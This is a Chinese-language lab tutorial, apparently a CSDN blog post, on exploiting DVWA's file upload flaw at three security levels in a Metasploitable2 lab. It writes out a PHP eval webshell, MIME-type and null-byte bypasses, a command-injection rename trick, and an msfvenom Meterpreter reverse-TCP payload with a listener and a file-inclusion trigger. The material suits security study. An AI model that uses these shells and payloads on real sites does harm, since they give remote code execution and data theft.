dvwa中的文件上传漏洞

环境:

Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10)

kail机器:192.168.11.156

一、什么是文件上传漏洞?

  1. 文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回;

  1. 如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;

上传漏洞原理图:

文件上传漏洞,通常是由于对上传文件的类型、内容没进行严格的审查、过滤,使得攻击者可以通过上传木马获取服务器的webshell权限。

入侵条件:

  1. 木马上传成功

  1. 知道木马的路径

  1. 木马能够正常运行

二、演示dvwa上的文件上传漏洞

2.1、编辑一句话木马

pass.php文件添加

<?php @eval($_POST['pass']);?>
  • @表示后面即使执行错误,也不报错。

  • eval()函数表示括号内的语句字符串什么的全都当做代码执行。

  • $_POST['pass']表示从页面中获得pass这个参数值。

2.2、低安全模式

low级别未对上传的文件进行任何验证,可以上传任意类型的文件

尝试上传木马文件php文件,成功:

直接打开木马文件http://192.168.11.157/dvwa/hackable/uploads/pass.php访问成功,但没有显示任何内容(因为是php文件)

通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass

打开文件管理,进入后台成功:

2.3、中安全模式

限制文件类型image/jpeg和大小不能超过100000B(约为97.6KB)

2.3.1、可以利用burpsuite绕过

上传木马文件pass.php,更改文件类型为image/jpeg

攻击后发现上传成功:

2.3.2、00截断

将木马文件pass.php改名为pass.php.jpeg,上传pass.php.jpeg,同时开启burpsuite捕获

切换到Hex进制,将pass.php.jpeg截断为pass.php:

点击“forward”, 也可将pass.php成功上传:

2.4、高安全模式

文件后缀限制与大小限制

下面介绍几种绕过的方法。

2.4.1、将木马隐藏在图片中绕过(High文件上传+Low命令注入)

1、将木马文件pass.php与图片文件test.jpg合并为php.jpg

windows上(关闭实时防护)使用copy命令: copy test.jpg/b+pass.php/a php.jpg

linux上:cat pass.php >> test.jpg

可以看到,一句话木马被添加到图片的尾部(记事本查看或者cat php.jpg):

2、将php.jpg文件上传,成功:

3、选择命令注入(Command Execution):

调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads

结果如下:

4、然后通过命令注入方式输入以下命令来进行更改文件后缀

127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/php.php

再执行127.0.0.1|ls ../../hackable/uploads查看:

5、中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):

2.4.2、用msfvenom生成的php代码的图片木马,图片欺诈头部绕过(High文件上传+Low文件包含)

1、首先用msfvenom生成一个PHP语言的IPG图片木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.156 lport=3333 >> /root/Desktop/any.jpg

2、上传图片木马any.png

3、在kali终端输入msfconsole进入控制台,输入如下指令

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.11.156
set lport 3333
run

4、dvwa选择low等级,切换到文件包含File Inclusion

5、在地址栏输入以下的地址并回车

http://192.168.11.157/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/any.jpg

6、msfconsole控制台就有生成一条会话

7、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件,然后测试随便删除一个文件,看看有没有权限,测试成功

三、参考

DVWA1.9之文件上传漏洞High级多种方法_晚安這個未知的世界的博客-CSDN博客_dvwa文件上传high级别

VMware之kali安装中国蚁剑_小豆饼的博客-CSDN博客_kali安装中国蚁剑

  • 17
    点赞
  • 123
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值